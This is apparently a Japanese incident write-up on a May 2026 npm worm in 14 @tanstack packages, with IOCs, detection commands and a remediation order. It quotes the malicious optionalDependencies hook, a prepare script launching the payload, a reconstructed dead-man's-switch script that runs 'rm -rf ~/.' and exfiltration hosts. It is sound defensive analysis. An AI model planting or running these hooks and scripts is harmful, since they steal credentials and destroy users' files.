2026年5月11日 19:20 UTC前後、人気のReactルーティングライブラリ@tanstack/react-routerを含む14個の正規@tanstack/*パッケージにマルウェアが混入する事態が発生した。攻撃者はGitHub Actions OIDCトラステッドパブリッシャー経由で本物の発行経路を使って公開し、optionalDependenciesに偽装した悪性のフォークリポジトリを指してBun経由で2.3MBの難読化ペイロードを実行する。さらに、盗んだGitHubトークンを失効されたらrm -rf ~/.を実行する「デッドマンズスイッチ」まで仕込まれているため、対応手順を間違えると被害が拡大する。本記事ではTanStack/router issue #7383およびStepSecurity・Aikido・Socketの分析を統合し、攻撃の技術的全容、影響範囲(Socket追跡で総計205 artifactに到達)、そして正しい無害化手順を整理する。
サプライチェーン全体のリスク像と防御策の俯瞰はサプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリストをご覧ください。
対象読者
@tanstack/react-router/@tanstack/router-core/@tanstack/react-startなどTanStackエコシステムを依存に持つフロントエンド・フルスタックエンジニア。- 2026年5月11日以降にnpm installを走らせたすべてのCI/CD・開発者環境。
- OIDCトラステッドパブリッシャーで配布しているOSSメンテナー(自分のリポジトリが踏み台になりうる)。
1. 何が起きたか――タイムラインと「2段公開」パターン
時刻はすべてUTC。2026年5月11日に発生した出来事を、TanStack/router issue #7383 で報告された情報をもとに整理する。
| 日時 (UTC) | 出来事 |
|---|---|
| 2026-03-19 | 攻撃者がGitHubアカウント voicproducoes(ID: 269549300)を作成 |
| 2026-05-10 | 攻撃者が voicproducoes/router を TanStack/router からfork |
| 2026-05-10 | 同フォークに孤立コミット 79ac49eedf774dd4b0cfa308722bc463cfe5885c をプッシュ(ブランチに紐付かない隠しコミット) |
| 2026-05-11 ~19:20 | 14個の @tanstack/* パッケージの第1悪性版が一斉公開 |
| 2026-05-11 ~19:26 | 同じ14パッケージの第2悪性版(こちらが latest タグ)が公開 |
| 2026-05-11 夜 | セキュリティ研究者 carlini 氏がnpm Security経由で報告、TanStack/router #7383 がオープン |
| 2026-05-12 朝 | StepSecurity・Aikido・Socketが個別レポートを公開、Socketの追跡で対象がUiPath等にも波及していることが判明 |
この「19:20と19:26に2回連続で公開する」ダブルタップパターンが今回の特徴だ。1回目で感染、2回目で latest タグの上書き、を6分間隔で実行している。npm install をその瞬間に回した環境はもれなく1回目を踏むが、後から確認した人は2回目(latest)しか見えず、初動分析を惑わせる。
混入が確認された14パッケージは以下の通り。いずれも latest を踏むと感染する。
| パッケージ | 第1悪性版 | 第2悪性版 (latest) |
|---|---|---|
@tanstack/history |
1.161.9 | 1.161.12 |
@tanstack/router-utils |
1.161.11 | 1.161.14 |
@tanstack/router-core |
1.169.5 | 1.169.8 |
@tanstack/router-devtools-core |
1.167.6 | 1.167.9 |
@tanstack/react-router-devtools |
1.166.16 | 1.166.19 |
@tanstack/router-generator |
1.166.45 | 1.166.48 |
@tanstack/virtual-file-routes |
1.161.10 | 1.161.13 |
@tanstack/router-plugin |
1.167.38 | 1.167.41 |
@tanstack/react-router |
1.169.5 | 1.169.8 |
@tanstack/router-devtools |
1.166.16 | 1.166.19 |
@tanstack/react-start |
1.167.68 | 1.167.71 |
@tanstack/router-cli |
1.166.46 | 1.166.49 |
@tanstack/router-vite-plugin |
1.166.53 | 1.166.56 |
@tanstack/solid-router |
1.169.5 | 1.169.8 |
注意: carlini氏の調査時点で @tanstack/start、@tanstack/query*、@tanstack/table*、@tanstack/form*、@tanstack/virtual*、@tanstack/store には指紋が見つかっていない。ただしワーム化しているため、メンテナトークンの感染状況によって時間とともに範囲が変動する点には注意が必要だ。
2. 攻撃の仕組み――optionalDependencies + git refの悪用
@tanstack/[email protected] の package.json を npm pack で取り出すと、以下のような項目が増えている(実害なく取り出すための手順は§5で示す)。
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
ここでの@tanstack/setupは実在のnpmパッケージではない。npmは「git+URL形式の依存」を見つけると、レジストリではなくGitHubから直接ソースを取得し、そのコミットの内容を「ローカルでビルド」しようとする。指定されている 79ac49eedf774dd4b0cfa308722bc463cfe5885c は、攻撃者が voicproducoes/router フォークに孤立プッシュした隠しコミットだ。
孤立コミットのため通常のブランチ一覧やデフォルトのGitHub UIには現れない。だがnpm installがgit fetch <commit-sha>を打つと、フォーク側のサーバはきちんと解決して返してくる――この「GitHub上でほぼ不可視だがnpmからは普通に取得できる」性質を悪用している。
孤立コミットの中の package.json には以下のスクリプトが書かれている。
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
そして、ホスト側でBunを使えるように bun 自体がdependenciesに入っている。
@tanstack/setup を発見"] B --> C["git+ref で
voicproducoes/router の
孤立コミット 79ac49ee を取得"] C --> D[bun ランタイムを依存として展開] D --> E["prepare スクリプト発火
bun run tanstack_runner.js"] E --> F["router_init.js 2.3MB
難読化ペイロード起動"] F --> G["exit 1 でビルド失敗
npm が optional として黙殺"] G --> H["ユーザーは正常終了に見える
裏でクレデンシャル収集"]
最後の && exit 1 がポイントだ。optionalDependenciesは「インストールに失敗しても全体のインストールは続行する」仕様のため、攻撃者は意図的にビルドを失敗させて痕跡を消している。npm install のログには@tanstack/setupのwarningすら残らないか、出ても通常見過ごされる程度のメッセージで終わる。
また、悪性版の @tanstack/* パッケージ本体のtarballには router_init.js(約2.3MB、SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c)がパッケージのルート直下に同梱されている。package.json の files 配列には載っておらず、他のソースからも参照されていない――一見「不要なゴミファイル」に見えるが、tanstack_runner.jsから実行されるための「弾倉」だ。
tanstack_runner.js のSHA-256は 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96。これら2ファイルが最重要IOCになる。
3. ペイロードの動作――Session E2E網経由のクレデンシャル流出
router_init.js は約230万バイトの単一行難読化JavaScript。StepSecurityの解析によると、内部に396個の暗号化文字列定数を持ち、AES-256-GCMで実行時に復号される構造になっている。復号後の主な挙動は以下の通りだ。
3-1. クレデンシャル収集
- クラウドメタデータ: AWS IMDSv1/v2、AWS Secrets Manager、GCPメタデータサービス、Azure IMDSをまとめて叩く
- コンテナ: Kubernetesサービスアカウントトークン(
/var/run/secrets/kubernetes.io/serviceaccount/token)、Vaultトークン(VAULT_TOKEN環境変数および~/.vault-token) - 開発者の足元:
~/.npmrc(npm publish token)、~/.gitconfig、GitHubのPAT、~/.ssh/id_*、~/.docker/config.json、AGENTS.md/CLAUDE.md(AIエージェント時代の新ターゲット) - CI: ランナー上では
GITHUB_TOKEN・NPM_TOKEN・各種secretをプロセスメモリから漁る
3-2. 流出経路:Session/Oxen E2Eメッセンジャー網
通常、サプライチェーン攻撃の弱点は「C2サーバを止めれば流出が止まる」点にある。filev2.getsession.org をブロックすればよい、というのが従来の発想だ。
ところが今回の攻撃は、Session(旧Loki / Oxen)の分散メッセンジャーネットワークを利用してデータをデッドドロップする。
filev2.getsession.org
seed1.getsession.org
seed2.getsession.org
seed3.getsession.org
Sessionは元々プライバシー重視のチャットアプリ用に作られたE2E暗号化分散ネットワークで、ファイルアップロード機能を持つ。攻撃者はこれを「公開ストレージ+公開鍵暗号で攻撃者だけが復号できる」仕組みとして転用している。結果として:
- 攻撃者のC2ドメインが存在しないので、ブロックリスト方式の防御が無効
- Sessionそのものを企業ネットワークで全面ブロックすると、正当なユーザーまで巻き込む
- 通信先IPはSessionのSeedノード分のため、地理的にも分散して可視化しにくい
3-3. ワーム化:盗んだトークンで新たなパッケージを汚染
router_init.js は単発で終わらない。盗んだnpm tokenを使って次のAPIを叩く。
GET https://registry.npmjs.org/-/v1/search?text=maintainer:<victim>
これは「被害者がメンテナを務めるパッケージ一覧」を列挙するもので、リストが返ってくると順番に同じoptionalDependencies + router_init.jsの注入を行い、新バージョンをnpm publishする。マルウェアが自分自身を別のパッケージに転送する真性のワーム挙動であり、これがSocketが「TanStack以外にも広がっている」と警告している理由だ。
同じ「公開直後の自動取り込み」を狙う攻撃の防御運用については、関連事例の整理としてRenovate・Dependabotの自動PRがマルウェアを運ぶ:開発者が今すぐ確認すべきことが詳しい。
minimumReleaseAgeの冷却期間設定は本件のような「公開して数十分以内に踏ませる」攻撃にも効果がある。
4. 「トークンをすぐ失効するな」――デッドマンズスイッチの罠
issue #7383にcarlini氏が追記した警告は、初動対応する人間が最も覚えておくべき一行だ。
Please be careful when revoking tokens. It looks like the payload installs a dead-man’s switch at
~/.local/bin/gh-token-monitor.sh…
ペイロードはOSに応じて以下のいずれかを仕込む。
Linux (systemd --user):
# ~/.config/systemd/user/gh-token-monitor.service
[Unit]
Description=GitHub Token Monitor
[Service]
ExecStart=%h/.local/bin/gh-token-monitor.sh
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
macOS (LaunchAgent):
~/Library/LaunchAgents/com.user.gh-token-monitor.plist
中身の gh-token-monitor.sh は概念的には次のような動作をする。
#!/bin/bash
TOKEN="<盗まれたGitHub Token>"
while true; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: token $TOKEN" \
https://api.github.com/user)
if [[ "$HTTP_CODE" =~ ^4 ]]; then
rm -rf ~/.
exit 0
fi
sleep 60
done
つまり「トークンが無効化された瞬間にホームディレクトリ配下を全削除する」仕掛けだ。被害を察知して急いでGitHub PATを失効する→開発者の ~/.config、~/.aws、~/.ssh、~/.gitconfig、もちろん ~/Documents まで一掃される、という二次災害が起きる。
正しい順番は次のセクションでまとめる。
今すぐやってはいけないこと
- 影響を受けたマシンで GitHub PAT・npm publish token をいきなり失効する
- 「とりあえずnpmログイン入れ直そう」で
~/.npmrcを上書きする - マシンを再起動する(systemd userサービス/LaunchAgentが復活して再び監視を始める)
5. 影響を受けたか確認する5ステップ
npm install --ignore-scripts で取得すれば、スクリプトは走らず安全に検査できる。本セクションのコマンドは破壊的な動作を含まない調査用に絞っている。
Step 1: ロックファイル確認
# npm
grep -E "@tanstack/(history|router|react-start)|@tanstack/" package-lock.json | grep -E "1\.16[1-9]\.[0-9]+"
# pnpm
grep -E "@tanstack/" pnpm-lock.yaml | grep -E "1\.16[1-9]\.[0-9]+"
# yarn (berry / classic)
grep -E "^@tanstack/" yarn.lock -A1
§1の表にあるバージョンがヒットしたら感染リスクあり。
Step 2: tarballの直接検査
npm install を回さずに中身だけ取り出せる。
# 例: react-router 1.169.8 を「インストールせず」取得して中身を見る
npm pack @tanstack/[email protected] --quiet
tar -xzf tanstack-react-router-1.169.8.tgz
cat package/package.json | jq '.optionalDependencies'
ls -la package/router_init.js 2>/dev/null && echo "INFECTED"
正常版に router_init.js は存在しない。存在 = 確実な感染指紋。
Step 3: ペイロードハッシュ照合
shasum -a 256 package/router_init.js
# ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c ならビンゴ
Step 4: ローカルマシンの常駐確認(Linux)
systemctl --user list-unit-files | grep gh-token-monitor
ls -la ~/.local/bin/gh-token-monitor.sh 2>/dev/null
ls -la ~/.config/systemd/user/gh-token-monitor.service 2>/dev/null
Step 5: ローカルマシンの常駐確認(macOS)
launchctl list | grep gh-token-monitor
ls -la ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
6. 正しい無害化手順――5ステップ
順番が重要。先にkill switchを殺す→ネットワーク隔離→トークン失効の順を守る。
| Step | 操作 | 失敗時の影響 |
|---|---|---|
| 1 | 常駐サービス停止・削除 | スキップすると次のstepでホームディレクトリ全消去 |
| 2 | ホストのネットワーク隔離 | 流出継続・追加トークン奪取 |
| 3 | トークン全失効(GitHub・npm・cloud) | 二次被害拡大 |
| 4 | ロックファイル巻き戻し・依存固定 | 再感染 |
| 5 | フォレンジック保全とポストモーテム | 再発リスク残存 |
Step 1: kill switch停止(Linux)
systemctl --user stop gh-token-monitor.service
systemctl --user disable gh-token-monitor.service
rm -f ~/.config/systemd/user/gh-token-monitor.service
rm -f ~/.local/bin/gh-token-monitor.sh
systemctl --user daemon-reload
Step 1: kill switch停止(macOS)
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm -f ~/.local/bin/gh-token-monitor.sh
Step 2: ネットワーク隔離
開発機の場合は有線/無線を切る。CIランナーの場合は当該ランナーをオフライン化。Sessionネットワーク宛の通信が止まったことを確認してから次へ進む。
# Linux/macOSで簡易確認
sudo lsof -i -nP | grep -E "filev2|getsession|seed[123]\.get"
Step 3: トークン失効とローテーション
優先順位:
- GitHub PAT / Fine-grained PAT — 全範囲。Settings → Developer settings → Personal access tokens
- GitHub Actions secrets — リポジトリ/organizationの両方
- npm publish token / OIDCトラステッドパブリッシャー設定 —
npm token revokeおよび npmjs.com のpackage settingsから「Trusted Publishers」を一度全削除(後述) - クラウド一時クレデンシャル — AWS IAM accesskey、GCP service account key、Azure AD app secret
- K8s SA token / Vault token — 該当サービスアカウントの再発行
- SSH秘密鍵 / GPG秘密鍵 —
~/.ssh/id_*と~/.gnupg - アプリ層 — Stripe / OpenAI / Anthropic / Twilio / Slack / DB接続文字列
Step 4: 依存固定
lockfileを攻撃前の状態に巻き戻し、当面は§1の表のバージョンを overrides(npm)/ resolutions(pnpm,yarn)で禁止する。
{
"overrides": {
"@tanstack/react-router": "<1.169.5 || >1.169.8",
"@tanstack/router-core": "<1.169.5 || >1.169.8",
"@tanstack/history": "<1.161.9 || >1.161.12"
}
}
Step 5: ポストモーテム
最低限、次の3点をログ化する: 「最終正常install時刻」「悪性版を踏んだ可能性のあるホスト一覧」「失効・ローテーションしたcredential一覧」。
7. なぜOIDCがすり抜けたか――「トラステッドパブリッシャー」の前提崩壊
今回の攻撃が深刻なのは、npm provenance(SLSA Level 3相当)も npm audit signatures もパスする点だ。
npm OIDCトラステッドパブリッシャーの仕組みは概略こうだ。
- メンテナがnpmjs.com上で「このパッケージは
TanStack/routerリポジトリの.github/workflows/release.ymlワークフローからのみ公開可能」と登録する。 - リリース時、GitHub ActionsがOIDCトークンを発行する。
- npmレジストリがそのOIDCトークンを検証し、登録済みのリポジトリ/ワークフロー名と一致すれば公開を許可、provenance attestationが添付される。
理論上は「漏れたnpm publish tokenでは公開不能」「正規CIを通った成果物だけが公開される」――これがSLSA L3の主張する保証だ。だが今回の攻撃で露呈したのは:
| 仮定 | 実際 |
|---|---|
| 公開ワークフローを通っている = 安全 | コードを書き換えて公開ワークフローを通せば公開できる |
| provenanceは「ビルド内容」を保証する | provenanceは「どこでビルドされたか」しか保証しない |
| OIDCの方が長期tokenより安全 | 公開フロー自体が侵害された場合、OIDCは抵抗にならない |
_npmUserフィールドが「正規のGitHub Actions OIDC publisher」を指していた事実は、@tanstack/router のCI/CD設定または依存ワークフローが攻撃者の制御下にあったことを示唆する。npm tokenだけをローテーションしても、ワークフロー側のOIDC binding(npmjs.com上のTrusted Publisher登録)を一度切らない限り再発するため、メンテナ側の対応はここが要になる。
関連: GitHub Actionsの
pull_request_target設計ミスもOIDCを足場にする攻撃の入口になりうる。詳細はGitHub Actions pull_request_targetの設計ミス:フォークPRで認証情報が漏洩するCVSS10.0脆弱性が参考になる。
8. 拡大する被害――Socket追跡で総計205 artifact・84ライブラリ名
@tanstack/* の14個は氷山の一角だ。Socketが同じ攻撃指紋(router_init.js相当ファイル+孤立コミットへのoptionalDependencies)で追跡している総数は、5月12日時点で121個の追加artifact・84ライブラリ名にのぼる。TanStackと合算するとnpmパッケージartifactで205件だ。
公開済みの該当領域:
| 領域 | スコープ例 | 件数(artifact) |
|---|---|---|
| エンタープライズRPA・自動化 | @uipath/* |
64 |
| 認証・SSO | @draftauth/* |
複数 |
| AI/MCPツーリング | @draftlab/* |
複数 |
| ワークフロー基盤 | @taskflow-corp/* |
複数 |
| TanStack | @tanstack/* |
14 |
| その他開発ツール | 84名前に分散 | 残り |
特にUiPathは大企業のRPAバックエンドに採用例が多く、CIランナーから踏んだ場合の影響範囲はTanStackより広い可能性がある。Socketのフィード(supply-chain-attacks/mini-shai-hulud)が随時更新されているため、依存スキャンを回す側はそちらを正本とすべきだ。
9. 「Mini Shai-Hulud」とは何か――先行する2025年Shai-Huludとの違い
「Shai-Hulud」は2025年9月にnpm生態系を襲った自己増殖型ワームの名前だ。今回の攻撃は同種ながら別系統で、研究者コミュニティではMini Shai-Huludと呼ばれている。
| 比較項目 | Shai-Hulud (2025) | Mini Shai-Hulud (2026) |
|---|---|---|
| 初出 | 2025年9月 | 2026年4月29日(SAP @cap-js/*) |
| 注入ベクタ | postinstallフック | optionalDependencies + git ref + prepare |
| ランタイム | Node | Bun |
| ペイロード規模 | 数百KB | 2.3〜11.7MB(事例による) |
| 流出経路 | 攻撃者制御GitHubリポ | Session E2E網(getsession.org) |
| persistence | 限定的 | systemd user / LaunchAgent + デッドマンズスイッチ |
| C2ブロック有効性 | 中(GitHub遮断は副作用大) | 低(Session遮断は事実上不可) |
| 拡散ロジック | npm publish via stolen token | 同左 + メンテナのパッケージ列挙 |
Mini Shai-Huludの「Mini」は規模ではなく、Shai-Huludの設計思想を流用しつつ攻撃面をより洗練させた変種を意味する。具体的にはSession網とoptionalDependencies+prepareの組合せが新規部分で、これがprovenance/OIDC等の防御を素通りする。
過去のサプライチェーンワーム事案はGlassWorm|不可視文字でマルウエア混入するGitHub・npmサプライチェーン攻撃の全容と偽TanStackパッケージが.env窃取|npmブランドスクワット攻撃の全容と緊急対策を併せて読むと、攻撃面の進化が見えやすい。本件と4月の偽TanStackは別件である点には注意が必要だ。
10. 組織レベルの恒久対策
§5(検出)・§6(個別マシンの無害化)は1台ずつの作業だ。ここではそれを繰り返さず、「組織として今後同じ攻撃を素通りさせない」恒久対策に絞る。
短期(24時間以内):いま動かす2つだけ
1. 組織横断のlockfileスキャン(§5は単一リポ単位、ここはorg全体)
gh search code --owner <your-org> --filename package-lock.json \
'"@tanstack/react-router" "1.169.8"' --json repository,path
ヒットしたリポジトリのオーナーへ §5・§6 を回す。CIキャッシュ(actions/cache、pnpm store)も忘れず対象に含める。
2. 自社npmパッケージのTrusted Publisher登録を点検
npmjs.comの各パッケージ設定→Trusted Publishersに覚えのないGitHubリポジトリ/ワークフローが登録されていないかを確認。違和感があれば一度全削除し、必要分だけ再登録。攻撃者がOIDC binding経由で踏み台にする経路を塞ぐ唯一の手段だ。
中期(1週間以内):CI/CDの既定値を変える
| 対策 | 設定 | 防げる挙動 |
|---|---|---|
postinstall/prepareを既定で無効化 |
.npmrc に ignore-scripts=true |
今回のprepare起点の任意コード実行 |
| Socket等のスキャンをPRゲートに | npx socket-cli scan create --repo $GITHUB_REPOSITORY をfail条件 |
Mini Shai-Hulud指紋の混入を物理ブロック |
| Renovate/Dependabotに冷却期間 | renovate.json に "minimumReleaseAge": "3 days" |
6分間隔のダブルタップ公開を素通りさせない |
ignore-scripts=true で壊れる依存(esbuild/sharp/puppeteer等)は npm rebuild <pkg> を許可リストで個別実行する運用にする。Dependabotは minimumReleaseAge 相当を持たないため、Renovate移行 or scheduleを週1まで間引きで代替する。
長期(1四半期以内):配布フローと検知ルール
- OIDC Trusted Publisherワークフローを「特権配布の動線」として保護:
.github/workflows/*release*.ymlを保護ブランチ・PR必須・2名レビュー必須・linear history・force push禁止に。pull_request_targetの使用棚卸しも同時に実施する(関連: GitHub Actions pull_request_targetの設計ミス)。 - EDRに今回の常駐パターンを学習させる:
~/.local/bin/への新規実行ファイル追加 /~/.config/systemd/user/への新規service /~/Library/LaunchAgents/への新規plist / npm・node以外からの~/.npmrc・~/.gitconfig読み取り、の4種をCrowdStrike / SentinelOne / Wazuhで検知ルール化。 - 同梱ファイル整合性チェックを
pre-publishフックに:npm pack --dry-run --json | jq '.[0].files[].path'でpackage.jsonのfiles配列に無い.js/.mjs/.cjs/.shが混じっていないかを検査。今回のrouter_init.js型の混入を、自社が踏み台にされた場合の最終防衛線として止められる。
11. まとめ
- 2026年5月11日、
@tanstack/react-routerを含む正規@tanstack/*の14パッケージにマルウェアが混入した。Socketの追跡では同じ攻撃指紋を持つartifactは総計205件・84ライブラリ名に拡大しており、UiPathなどTanStack外にも波及している。 - 攻撃は
optionalDependenciesに書かれたgit refの孤立コミット+prepareスクリプト経由でBunを起動し、2.3MBのrouter_init.jsを実行する。流出先はSession E2E網のため従来型のC2ブロックでは止められない。 - ペイロードは~/.local/bin/gh-token-monitor.shを常駐させ、盗んだGitHubトークンが失効されると
rm -rf ~/.を実行する。トークン失効より先にkill switchを停止する順序遵守が初動の最重要ポイントだ。 - npm provenanceとOIDCトラステッドパブリッシャーは「どこでビルドされたか」を保証するが「何をビルドしたか」は保証しない。今回の攻撃はその前提を突いて正規CI経路で公開された。
npm audit signaturesだけでは検出できない。 - 検出指紋は router_init.js SHA-256
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c、tanstack_runner.js2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96、孤立コミット79ac49eedf774dd4b0cfa308722bc463cfe5885c、GitHubアカウントvoicproducoes(ID 269549300)。
5月11日19:00 UTC以降にnpm installを走らせた環境は、まずネットを切ってkill switchを殺すところから始めてほしい。トークン失効はその後だ。
参照ソース
- Several npm latest releases are potentially compromised · Issue #7383 · TanStack/router — carlini氏による最初の詳細レポート、IOC一覧、kill switch警告。
- Mini Shai-Hulud is Back: A Self-Spreading Supply Chain Attack Hits the npm Ecosystem — StepSecurity — ペイロード逆解析、Bun起動フロー、47+影響パッケージのリスト。
- Mini Shai-Hulud Targets SAP npm Packages With a Bun-Based Secret Stealer — Aikido — 同系統のSAP
@cap-js/*事案、IOCハッシュ。 - Mini Shai-Hulud supply chain attack tracking — Socket — 84ライブラリ名・205 artifactの最新追跡フィード、UiPath系64件含む。
- Emerging Supply Chain Attack (“Mini Shai-Hulud”) Targeting SAP Cloud Application Programming Ecosystem — Onapsis — 攻撃チェーンと初期侵入経路の分析。
- npm Trusted Publishers Documentation — npmjs.com — OIDCの設計と「ビルド場所の保証」の範囲。